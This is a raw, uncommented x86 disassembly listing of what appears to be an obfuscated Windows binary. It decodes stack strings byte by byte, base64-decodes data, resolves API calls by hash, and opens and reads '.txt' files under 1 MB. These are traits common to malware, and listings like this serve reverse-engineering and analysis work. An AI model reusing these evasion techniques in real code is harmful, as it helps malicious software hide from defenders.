movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42e790
mov word [eax], 0
mov dword [esp + 0x14], 0x4f4e4996
mov dword [esp + 0x18], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 7
ja 0x42e7fb
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
movzx eax, byte [esp + eax + 0x14]
push dword [esp + 4]
push eax
call fcn.004310e0
add esp, 8
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 8
jb 0x42e7d0
push 0
push 0
push 0
push 0xc00000
lea eax, [esp + 0x24]
push eax
push ebp
push ebx
push dword [esp + 0x114]
call fcn.00425a40
add esp, 0x20
mov ecx, dword [esp + 0x8c]
and cl, 1
or cl, al
mov dword [esp + 0x8c], ecx
jmp dword [0x452ae0]
push esi
push 1
push dword [0x456b3c]
push eax
call fcn.00445e60
add esp, 0x10
mov esi, dword [esp + 0x58]
jmp dword [0x452ad0]
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0x6c]
call fcn.004499a0
add esp, 0xc
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0x6c]
call fcn.004499a0
add esp, 0xc
jmp dword [0x452a64]
push dword [esp + 0x88]
call fcn.00404750
add esp, 4
mov ebx, eax
mov dword [esp + 0x14], 0xc8d5f6cb
mov dword [esp + 0x18], 0xffc2fcfa
mov dword [esp + 0x1c], 0xf0fccc82
mov dword [esp + 0x20], 0xc7fac4c2
mov dword [esp + 0x24], 0xf0e5f5f5
mov word [esp + 0x28], 0xccf9
mov byte [esp + 0x2a], 0x42
mov dword [esp + 0x2b], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1a
ja 0x42e916
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x14]
push dword [esp]
push eax
call fcn.00430f70
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x1b
jb 0x42e8f0
lea eax, [esp + 0x14]
push eax
push ebx
call fcn.00404b10
add esp, 8
mov edx, 0xffffffff
mov esi, 0xfffffffd
nop
nop
mov ecx, edx
add esi, 3
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x42e930
shr esi, 2
movzx ecx, byte [eax + edx - 1]
cmp ecx, 0x3d
je 0x42e951
cmp ecx, 0x2e
jne 0x42e952
dec esi
movzx ecx, byte [eax + edx - 2]
cmp ecx, 0x3d
mov dword [esp + 0x50], eax
mov dword [esp + 0x10], edx
je 0x42e969
cmp ecx, 0x2e
jne 0x42e96a
dec esi
mov dword [esp + 0x84], esi
lea eax, [esi + 1]
push eax
call fcn.0040cb60
add esp, 4
mov dword [esp + 0x4c], eax
cmp dword [esp + 0x10], 0
je 0x42ea80
xor ebp, ebp
mov esi, 2
jmp 0x42e9b4
mov ebp, dword [esp + 0x48]
lea eax, [esi + 4]
add esi, 2
cmp esi, edx
mov esi, eax
jae 0x42ea80
mov edi, dword [esp + 0x50]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.00421cc0
add esp, 4
mov ebx, eax
movzx eax, byte [edi + esi - 1]
push eax
call fcn.00421cc0
mov edx, dword [esp + 0x14]
add esp, 4
shl bl, 2
mov ecx, eax
shr cl, 4
and cl, 3
or cl, bl
lea ebx, [ebp + 1]
mov dword [esp + 0x48], ebx
mov ebx, dword [esp + 0x4c]
mov byte [ebx + ebp], cl
cmp esi, edx
jae 0x42e9a0
mov ebx, ebp
mov byte [esp + 0xf], al
movzx eax, byte [edi + esi]
push eax
call fcn.00421cc0
mov edx, dword [esp + 0x14]
add esp, 4
cmp al, 0x40
mov ebp, dword [esp + 0x48]
je 0x42e9a4
mov ch, al
movzx eax, byte [esp + 0xf]
shl al, 4
mov cl, ch
shr cl, 2
and cl, 0xf
or cl, al
lea ebp, [ebx + 2]
mov eax, dword [esp + 0x4c]
mov byte [eax + ebx + 1], cl
lea eax, [esi + 1]
cmp eax, edx
jae 0x42e9a4
mov eax, dword [esp + 0x50]
movzx eax, byte [eax + esi + 1]
push eax
mov byte [esp + 0x4c], ch
call fcn.00421cc0
movzx ecx, byte [esp + 0x4c]
mov edx, dword [esp + 0x14]
add esp, 4
cmp al, 0x40
je 0x42e9a4
shl cl, 6
add al, cl
mov ecx, dword [esp + 0x4c]
mov byte [ecx + ebx + 2], al
add ebx, 3
mov ebp, ebx
jmp 0x42e9a4
mov eax, dword [esp + 0x84]
add eax, 0xfffffffb
mov dword [esp + 4], eax
mov eax, dword [esp + 0x4c]
add eax, 5
mov dword [esp + 8], eax
mov dword [esp + 0x5c], 0
mov dword [esp + 0x60], 0
push 0x31f26afb
push dword [0x456b40]
call fcn.00448c90
add esp, 8
lea ecx, [esp + 0x5c]
lea edx, [esp + 4]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
push dword [esp + 0x88]
call fcn.00404750
add esp, 4
mov ebx, eax
mov dword [esp + 0x14], 0xc8d5f6cb
mov dword [esp + 0x18], 0xffc2fcfa
mov dword [esp + 0x1c], 0xf0fccc82
mov dword [esp + 0x20], 0xc7fac4c2
mov dword [esp + 0x24], 0xf0e5f5f5
mov word [esp + 0x28], 0xccf9
mov byte [esp + 0x2a], 0x42
mov dword [esp + 0x2b], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1a
ja 0x42eb56
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x14]
push dword [esp]
push eax
call fcn.00430f70
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x1b
jb 0x42eb30
lea eax, [esp + 0x14]
push eax
push ebx
call fcn.00404b10
add esp, 8
mov edx, 0xffffffff
mov esi, 0xfffffffd
nop
nop
mov ecx, edx
add esi, 3
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x42eb70
shr esi, 2
movzx ecx, byte [eax + edx - 1]
cmp ecx, 0x3d
je 0x42eb91
cmp ecx, 0x2e
jne 0x42eb92
dec esi
movzx ecx, byte [eax + edx - 2]
cmp ecx, 0x3d
mov dword [esp + 0x50], eax
mov dword [esp + 0x48], edx
je 0x42eba9
cmp ecx, 0x2e
jne 0x42ebaa
dec esi
mov dword [esp + 0x84], esi
lea eax, [esi + 1]
push eax
call fcn.0040cb60
add esp, 4
mov dword [esp + 0x10], eax
cmp dword [esp + 0x48], 0
je 0x42ecb4
xor ebp, ebp
mov esi, 2
jmp 0x42ebf2
mov ebp, ebx
lea eax, [esi + 4]
add esi, 2
cmp esi, edx
mov esi, eax
jae 0x42ecb4
mov edi, dword [esp + 0x50]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.00421cc0
add esp, 4
mov ebx, eax
movzx eax, byte [edi + esi - 1]
push eax
call fcn.00421cc0
mov edx, dword [esp + 0x4c]
add esp, 4
shl bl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, bl
lea ebx, [ebp + 1]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x4c], ebp
mov byte [ecx + ebp], ah
cmp esi, edx
jae 0x42ebe0
mov byte [esp + 0xf], al
movzx eax, byte [edi + esi]
push eax
call fcn.00421cc0
mov edx, dword [esp + 0x4c]
add esp, 4
cmp al, 0x40
mov ebp, ebx
je 0x42ebe2
movzx ecx, byte [esp + 0xf]
shl cl, 4
mov ebx, eax
shr al, 2
and al, 0xf
or al, cl
mov edi, dword [esp + 0x4c]
lea ebp, [edi + 2]
mov ecx, dword [esp + 0x10]
mov byte [ecx + edi + 1], al
lea eax, [esi + 1]
cmp eax, edx
jae 0x42ebe2
mov eax, dword [esp + 0x50]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.00421cc0
mov edx, dword [esp + 0x4c]
add esp, 4
cmp al, 0x40
je 0x42ebe2
shl bl, 6
add al, bl
mov ecx, dword [esp + 0x10]
mov ebp, dword [esp + 0x4c]
mov byte [ecx + ebp + 2], al
add ebp, 3
jmp 0x42ebe2
mov ecx, dword [esp + 0x84]
mov eax, ecx
xor eax, 5
and ecx, 0xfffffffa
add ecx, ecx
sub ecx, eax
mov dword [esp + 4], ecx
mov eax, dword [esp + 0x10]
add eax, 5
mov dword [esp + 8], eax
mov dword [esp + 0x5c], 0
mov dword [esp + 0x60], 0
push 0x31f26afb
push dword [0x456b40]
call fcn.00448c90
add esp, 8
lea ecx, [esp + 0x5c]
lea edx, [esp + 4]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
mov edi, dword [esp + 0xa8]
jmp dword [0x452a88]
push 0xd80d2c4a
push dword [0x456b28]
call fcn.00448c90
add esp, 8
push dword [esp + 0x60]
call eax
push 0xd80d2c4a
push dword [0x456b28]
call fcn.00448c90
add esp, 8
push dword [esp + 0x60]
call eax
jmp dword [0x452aac]
xor eax, eax
xor ebx, ebx
jmp dword [0x452c18]
push ebp
call fcn.0040cb70
add esp, 4
mov eax, ebx
add esp, 0x7c
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x18]
push 0
push eax
push dword [esp + 0x70]
call fcn.004499a0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x452af8]
mov dword [esp + 0x74], ebp
mov esi, dword [esp + 0x18]
lea eax, [esi + 1]
push eax
call fcn.0040cb60
add esp, 4
push 0
push esi
mov dword [esp + 0x68], eax
push eax
push dword [esp + 0x74]
call fcn.00449a80
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x452b00]
jmp dword [0x452b08]
mov eax, dword [esp + 0x18]
mov ebp, dword [esp + 0x60]
mov byte [ebp + eax], 0
xor ebx, ebx
jmp dword [0x452b14]
mov eax, dword [esp + 0x18]
mov ebp, dword [esp + 0x60]
mov byte [ebp + eax], 0
mov eax, dword [esp + 0x18]
mov byte [ebp + eax], 0
xor ebx, ebx
jmp dword [0x452b14]
movzx eax, byte [ebp + 0xa]
add ebp, 0xa
xor edx, edx
test al, al
je 0x42f042
mov ecx, ebp
nop
cmp al, 0x22
je 0x42f040
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42f030
jmp 0x42f042
mov edx, ecx
mov ecx, edx
sub ecx, ebp
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x452b20]
xor eax, eax
cmp byte [edx - 1], 0x74
setne al
jmp dword [eax*4 + 0x452b48]
xor eax, eax
cmp byte [edx - 2], 0x78
setne al
jmp dword [eax*4 + 0x452b50]
xor eax, eax
cmp byte [edx - 3], 0x74
setne al
jmp dword [eax*4 + 0x452b58]
xor eax, eax
cmp byte [edx - 4], 0x2e
setne al
jmp dword [eax*4 + 0x452b70]
mov eax, ecx
mov edi, edx
inc eax
jns 0x42f0b6
mov dword [esp + 8], ebx
mov eax, 0xffffffff
jmp 0x42f0c1
jmp dword [0x452b80]
mov dword [esp + 8], ebx
lea eax, [ecx*2 + 2]
mov ebx, ecx
push eax
call fcn.0040cb60
add esp, 4
mov esi, eax
mov dword [esp + 0x1c], 0
mov dword [esp + 4], ebx
lea eax, [eax + ebx*2]
mov ebx, esi
mov dword [esp + 0xc], eax
cmp esi, eax
mov ecx, edi
jae 0x42f13b
mov ebx, esi
cmp ebp, ecx
jae 0x42f13b
mov ebx, esi
mov edi, ebp
mov dword [esp + 0x10], esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x42f13b
lea eax, [esp + 0x1c]
push eax
push ecx
push edi
mov esi, ecx
call fcn.00411920
add esp, 0xc
movzx ecx, word [esp + 0x1c]
mov word [ebx], cx
add ebx, 2
cmp ebx, dword [esp + 0xc]
jae 0x42f135
add edi, eax
cmp edi, esi
mov ecx, esi
mov esi, dword [esp + 0x10]
jb 0x42f100
jmp 0x42f13b
mov ecx, esi
mov esi, dword [esp + 0x10]
mov dword [esp + 0x14], ecx
mov word [ebx], 0
lea eax, [esp + 0x64]
push 0x60
push 3
push 0x120089
push eax
push esi
call fcn.00449640
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452b88]
mov ebp, dword [esp + 0x14]
lea edi, [esp + 0x1c]
mov ebx, dword [esp + 8]
jmp dword [0x452be8]
lea eax, [esp + 0x70]
push 0
push eax
push dword [esp + 0x6c]
call fcn.004499a0
add esp, 0xc
test eax, eax
setns al
mov edi, dword [esp + 0x70]
cmp edi, 0x100000
setb cl
and cl, al
movzx eax, cl
mov ebx, dword [esp + 8]
jmp dword [eax*4 + 0x452b90]
push edi
call fcn.0040cb60
add esp, 4
push 0
push edi
mov edi, eax
push eax
push dword [esp + 0x70]
call fcn.00449a80
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x452b98]
mov dword [esp + 0x6c], edi
xor eax, eax
mov ecx, esi
jmp dword [0x452ba4]
mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ecx], 0
lea ecx, [ecx + 2]
jne 0x42f1f0
mov ecx, esi
jmp case.0x42f160.5
add ecx, 2
test dx, dx
je 0x42f220
mov edi, eax
movzx edx, word [ecx]
mov eax, ecx
cmp dx, 0x5c
je 0x42f200
mov eax, edi
jmp 0x42f200
mov ecx, esi
xor eax, eax
jmp dword [0x452ba8]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x452bc0]
xor edi, edi
xor eax, eax
jmp 0x42f24d
mov ecx, edi
sub ecx, esi
sar ecx, 1
inc ecx
mov eax, dword [esp + 4]
mov edi, ecx
sub eax, ecx
add eax, 0x1b
push eax
call fcn.0040cb60
add esp, 4
mov dword [esp + 0xc], eax
mov dword [esp + 0x1c], 0x4020459
mov dword [esp + 0x20], 0x93f010e
mov dword [esp + 0x24], 0x32547904
mov dword [esp + 0x28], 0x50152810
mov dword [esp + 0x2c], 0x2e1e1636
mov dword [esp + 0x30], 0x64222c1c
mov word [esp + 0x34], 0x5e63
mov byte [esp + 0x36], 0x8a
lea eax, [esp + 0x1d]
mov byte [eax + 0x1e], 0
mov dword [eax + 0x1a], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x1f
ja 0x42f2e6
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x1c]
push dword [esp]
push eax
call fcn.00431260
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x1c], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x20
jb 0x42f2c0
movzx ecx, byte [esp + 0x1c]
mov eax, dword [esp + 0xc]
test cl, cl
lea edx, [esp + 0x1d]
je 0x42f30b
mov eax, dword [esp + 0xc]
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42f300
mov edx, dword [esp + 4]
not edx
and edx, edi
mov ecx, edi
not ecx
and ecx, dword [esp + 4]
mov dword [esp + 4], ecx
mov byte [eax], 0
sub ecx, edx
mov dword [esp + 0x10], esi
je 0x42f357
add ebp, edi
mov edi, ecx
and edi, 3
je 0x42f35f
mov dword [esp + 8], ebx
xor esi, esi
movzx ebx, byte [ebp]
cmp bl, 1
sbb ebp, 0xffffffff
mov byte [eax + esi], bl
inc esi
cmp edi, esi
jne 0x42f339
add eax, esi
sub ecx, esi
mov esi, eax
mov ebx, dword [esp + 8]
jmp 0x42f35f
mov esi, eax
mov edi, dword [esp + 0x6c]
jmp 0x42f3a9
sub edx, dword [esp + 4]
cmp edx, 0xfffffffc
mov edi, dword [esp + 0x6c]
ja 0x42f3a9
movzx edx, byte [ebp]
cmp dl, 1
sbb ebp, 0xffffffff
mov byte [eax], dl
movzx edx, byte [ebp]
cmp dl, 1
sbb ebp, 0xffffffff
mov byte [eax + 1], dl
movzx edx, byte [ebp]
cmp dl, 1
sbb ebp, 0xffffffff
mov byte [eax + 2], dl
movzx edx, byte [ebp]
cmp dl, 1
sbb ebp, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], dl
mov eax, esi
add ecx, 0xfffffffc
jne 0x42f36c
mov byte [esi], 0
mov ecx, dword [esp + 0x90]
push dword [esp + 0x70]
push edi
mov ebp, dword [esp + 0x14]
push ebp
call fcn.0040da30
and bl, 1
or bl, al
mov esi, dword [esp + 0x10]
jmp dword [0x452bd8]
push ebp
call fcn.0040cb70
add esp, 4
jmp dword [0x452be0]
jmp dword [0x452be0]
push edi
call fcn.0040cb70
add esp, 4
mov ebp, dword [esp + 0x64]
mov dword [esp], 0xfcfdfeff
mov dword [esp + 0x1c], 0
mov eax, dword [esp + 0x1c]
cmp eax, 3
ja 0x42f439
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x1c]
movzx eax, byte [esp + eax]
push dword [esp + 0x1c]
push eax
call fcn.00430ba0
add esp, 8
mov ecx, dword [esp + 0x1c]
mov byte [esp + ecx], al
inc dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
cmp eax, 4
jb 0x42f410
mov eax, dword [0x456b34]
test eax, eax
je 0x42f468
mov ecx, dword [esp]
xor edx, edx
mov edi, dword [0x456b38]
nop
nop
nop
cmp dword [edi + edx*8], 0x7e776f1
je 0x42f460
inc edx
cmp eax, edx
jne 0x42f450
jmp 0x42f468
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
jne 0x42f4a3
mov ebp, dword [esp + 0x14]
lea edi, [esp + 0x1c]
jmp dword [0x452be8]
jmp dword [0x452bf0]
push esi
call fcn.0040cb70
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.0040cb70
add esp, 4
mov ebp, dword [esp + 0x14]
jmp dword [0x452bf8]
push ebp
push 1
push dword [0x456b3c]
push eax
call fcn.00445e60
add esp, 0x10
mov ebp, dword [esp + 0x14]
lea edi, [esp + 0x1c]
jmp dword [0x452be8]
mov dword [esp + 0x1c], 0xcac2c0c2
mov dword [esp + 0x20], 0xcec7d4c6
mov dword [esp + 0x24], 0x4e8fb5
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xb
ja 0x42f526
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
movzx eax, byte [esp + eax + 0x1c]
push dword [esp]
push eax
call fcn.00431210
add esp, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x1c], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xc
jb 0x42f500
movzx edx, byte [esp + 0x1c]
test dl, dl
je 0x42f572
mov eax, edi
mov ecx, ebp
jmp 0x42f547
movzx edx, byte [eax]
test dl, dl
je 0x42f572
mov dh, byte [ecx]
test dh, dh
je 0x42f570
inc ecx
inc eax
lea esi, [ebp + 1]
cmp dh, dl
je 0x42f55a
mov ebp, esi
mov ecx, esi
je 0x42f540
lea eax, [esp + 0x1c]
jmp 0x42f540
xor ebp, ebp
xor eax, eax
test ebp, ebp
sete al
jmp dword [eax*4 + 0x452b18]
jmp dword [0x452c0c]
mov ebp, dword [esp + 0x74]
jmp dword [0x452c10]
push dword [esp + 0x60]
call fcn.0040cb70
add esp, 4
mov esi, dword [esp + 0x68]
mov dword [esp], 0xfcfdfeff
mov dword [esp + 0x1c], 0
mov eax, dword [esp + 0x1c]
cmp eax, 3
ja 0x42f5e9
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x1c]
movzx eax, byte [esp + eax]
push dword [esp + 0x1c]
push eax
call fcn.00430ba0
add esp, 8
mov ecx, dword [esp + 0x1c]
mov byte [esp + ecx], al
inc dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
cmp eax, 4
jb 0x42f5c0
mov eax, dword [0x456b34]
test eax, eax
je 0x42f618
mov ecx, dword [esp]
xor edx, edx
mov edi, dword [0x456b38]
nop
nop
nop
cmp dword [edi + edx*8], 0x7e776f1
je 0x42f610
inc edx
cmp eax, edx
jne 0x42f600
jmp 0x42f618
mov eax, dword [edi + edx*8 + 4]
cmp eax, ecx
jne 0x42f623
and bl, 1
mov eax, ebx
jmp dword [0x452c18]
push esi
push 1
push dword [0x456b3c]
push eax
call fcn.00445e60
add esp, 0x10
and bl, 1
mov eax, ebx
jmp dword [0x452c18]
mov edx, dword [esi + 8]
jmp 0x4317be
movzx edi, word [eax]
test di, di
je 0x43178f
mov dword [esi + 0xc], eax
mov edx, eax
add edx, 2
xor ecx, ecx
jmp 0x43165f
mov ecx, eax
add ecx, ebx
movzx edi, word [edx]
add edx, 2
test di, di
je 0x431683
mov eax, ecx
movzx ecx, di
cmp ecx, 0x800
mov edi, 3
sbb edi, 0
mov ebx, 1
cmp ecx, 0x80
jb 0x431650
mov ebx, edi
jmp 0x431650
mov edx, dword [esi + 0xc]
lea eax, [ecx + 4]
and eax, 0xfffffffc
call fcn.0040cac0
mov eax, esp
and eax, 0xfffffff0
mov esp, eax
test ecx, ecx
jle 0x431797
lea edi, [eax + ecx]
mov dword [esi + 0x18], edi
inc ecx
add ecx, eax
mov edi, eax
mov ebx, edx
mov edx, dword [esi + 8]
mov dword [esi + 0x54], ecx
jmp 0x4316db
mov byte [edi], bl
mov dword [esi + 0x10], 1
mov ebx, dword [esi + 0xc]
add ebx, 2
add edi, dword [esi + 0x10]
cmp edi, dword [esi + 0x18]
jae 0x43179c
mov dword [esi + 0xc], ebx
movzx ebx, word [ebx]
test bx, bx
je 0x43179c
cmp bx, 0x7f
jbe 0x4316c0
mov dword [esi + 0x58], edi
mov edx, edi
not edx
add edx, ecx
movzx edi, bx
mov dword [esi + 0x14], edi
cmp edx, 2
jb 0x431740
cmp dword [esi + 0x14], 0x7ff
ja 0x431740
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov edi, dword [esi + 0x58]
mov byte [edi], cl
mov ecx, dword [esi + 0x54]
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
mov dword [esi + 0x10], 2
mov edx, dword [esi + 8]
jmp 0x4316c9
mov dword [esi + 0x10], 0
cmp edx, 3
mov edx, dword [esi + 8]
mov edi, dword [esi + 0x58]
jb 0x4316c9
mov ecx, dword [esi + 0x14]
shr ecx, 0xc
or cl, 0xe0
mov byte [edi], cl
mov ecx, dword [esi + 0x54]
shr dword [esi + 0x14], 6
mov dword [esi + 0x10], ebx
mov ebx, dword [esi + 0x14]
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
mov ebx, dword [esi + 0x10]
and bl, 0x3f
or bl, 0x80
mov byte [edi + 2], bl
mov dword [esi + 0x10], 3
jmp 0x4316c9
push eax
mov eax, esp
and eax, 0xfffffff0
mov esp, eax
mov edi, eax
mov edx, dword [esi + 8]
mov byte [edi], 0
movzx ecx, byte [eax]
test cl, cl
je 0x4317bb
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x4317b0
mov byte [edx], 0
mov byte [edx], 0xa
inc edx
mov dword [esi + 8], edx
lea eax, [esi + 0x188]
mov dword [esi + 0x10], eax
push eax
call fcn.004337f0
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x4532d4]
jmp 0x431d21
lea eax, [esi + 0x744]
push 0xa
push 0xb
push eax
push dword [esi + 0x188]
call fcn.00435c10
add esp, 0x10
mov edi, eax
lea eax, [esi + 0x5c]
push 0xa
push 0xb
push eax
push dword [esi + 0x18c]
call fcn.00435c10
add esp, 0x10
mov dword [esi + 0x14], eax
lea eax, [esi + 0x944]
push 0xa
push 0xb
push eax
push dword [esi + 0x190]
call fcn.00435c10
add esp, 0x10
mov dword [esi + 0xc], eax
mov ebx, dword [esi + 0x198]
mov dword [esi + 0x520], 0xc4f2e40a
mov dword [esi + 0x524], 0x52400d3f
mov dword [esi + 0x528], 0x5c535a5a
mov dword [esi + 0x52c], 0xe7062f52
mov word [esi + 0x530], 0
mov dword [esi + 0x24], 0
mov eax, dword [esi + 0x24]
cmp eax, 0x11
ja 0x4318ac
nop
nop
nop
nop
mov eax, dword [esi + 0x24]
movzx eax, byte [esi + eax + 0x520]
push dword [esi + 0x24]
push eax
call fcn.0043b780
add esp, 8
mov ecx, dword [esi + 0x24]
mov byte [esi + ecx + 0x520], al
inc dword [esi + 0x24]
mov eax, dword [esi + 0x24]
cmp eax, 0x12
jb 0x431880
movzx eax, byte [esi + 0x520]
test al, al
je 0x4318cd
lea ecx, [esi + 0x521]
mov edx, dword [esi + 8]
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4318c0
jmp 0x4318d0
mov edx, dword [esi + 8]
mov byte [edx], 0
movzx eax, byte [ebx]
test al, al
je 0x4318ed
inc ebx
mov ecx, dword [esi + 0xc]
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ebx]
inc ebx
test al, al
jne 0x4318e0
jmp 0x4318f0
mov ecx, dword [esi + 0xc]
mov word [edx], 0x2820
add edx, 2
movzx eax, byte [edi]
test al, al
je 0x43190b
inc edi
mov byte [edx], al
inc edx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x431900
mov byte [edx], 0x2e
inc edx
mov edi, dword [esi + 0x14]
movzx eax, byte [edi]
test al, al
je 0x43192b
inc edi
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x431920
mov byte [edx], 0x2e
inc edx
movzx eax, byte [ecx]
test al, al
je 0x43194b
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431940
mov byte [edx], 0x29
inc edx
lea eax, [esi + 0x4f0]
push eax
mov ebx, edx
call fcn.00449440
add esp, 4
movzx eax, al
jmp dword [eax*4 + 0x4532dc]
mov edi, ebx
jmp 0x431a70
mov edi, ebx
mov byte [ebx], 0x20
xor eax, eax
cmp dword [esi + 0x4f0], 1
sete al
jmp dword [eax*4 + 0x4532e4]
mov dword [esi + 0x24], 0x3363778
mov dword [esi + 0x520], 0
mov eax, dword [esi + 0x520]
cmp eax, 3
ja 0x4319e5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x520]
movzx eax, byte [esi + eax + 0x24]
push dword [esi + 0x520]
push eax
call fcn.00412140
add esp, 8
mov ecx, dword [esi + 0x520]
mov byte [esi + ecx + 0x24], al
inc dword [esi + 0x520]
mov eax, dword [esi + 0x520]
cmp eax, 4
jb 0x4319b0
lea eax, [esi + 0x24]
jmp case.0x42f160.42
mov dword [esi + 0x520], 0xe1d42a6c
mov word [esi + 0x524], 0
mov byte [esi + 0x526], 0
mov dword [esi + 0x24], 0
mov eax, dword [esi + 0x24]
cmp eax, 6
ja 0x431a4c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x24]
movzx eax, byte [esi + eax + 0x520]
push dword [esi + 0x24]
push eax
call fcn.0043b7f0
add esp, 8
mov ecx, dword [esi + 0x24]
mov byte [esi + ecx + 0x520], al
inc dword [esi + 0x24]
mov eax, dword [esi + 0x24]
cmp eax, 7
jb 0x431a20
lea eax, [esi + 0x520]
mov edx, edi
inc edx
movzx ecx, byte [eax]
test cl, cl
je 0x431a6b
inc eax
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x431a60
mov edi, edx
mov byte [edx], 0
mov dword [esi + 0x520], 0xa79284fa
mov dword [esi + 0x524], 0x4b5f5e4b
mov dword [esi + 0x528], 0x475bb598
mov dword [esi + 0x52c], 0xc7a6bf69
mov word [esi + 0x530], 0
mov dword [esi + 0x24], 0
mov eax, dword [esi + 0x24]
cmp eax, 0x11
ja 0x431adc
mov eax, dword [esi + 0x24]
movzx eax, byte [esi + eax + 0x520]
push dword [esi + 0x24]
push eax
call fcn.0043b840
add esp, 8
mov ecx, dword [esi + 0x24]
mov byte [esi + ecx + 0x520], al
inc dword [esi + 0x24]
mov eax, dword [esi + 0x24]
cmp eax, 0x12
jb 0x431ab0
movzx eax, byte [esi + 0x520]
test al, al
je 0x431afd
lea ecx, [esi + 0x521]
mov edx, edi
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431af0
jmp 0x431aff
mov edx, edi
mov byte [edx], 0
movzx eax, byte [esi + 0x19c]
test al, al
je 0x431b2b
lea ecx, [esi + 0x19d]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431b20
mov edi, edx
mov byte [edx], 0
mov dword [esi + 0x520], 0x5d0a782a
mov dword [esi + 0x524], 0xd45bc47
mov dword [esi + 0x528], 0x3ac0c252
mov dword [esi + 0x52c], 0x212d770e
mov word [esi + 0x530], 0x5b11
mov dword [esi + 0x532], 0
mov byte [esi + 0x536], 0
mov dword [esi + 0x24], 0
mov eax, dword [esi + 0x24]
cmp eax, 0x16
ja 0x431bbc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esi + 0x24]
movzx eax, byte [esi + eax + 0x520]
push dword [esi + 0x24]
push eax
call fcn.0043b8c0
add esp, 8
mov ecx, dword [esi + 0x24]
mov byte [esi + ecx + 0x520], al
inc dword [esi + 0x24]
mov eax, dword [esi + 0x24]
cmp eax, 0x17
jb 0x431b90
movzx eax, byte [esi + 0x520]
test al, al
je 0x431bdb
lea ecx, [esi + 0x521]
nop
nop
nop
mov byte [edi], al
inc edi
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x431bd0
mov byte [edi], 0
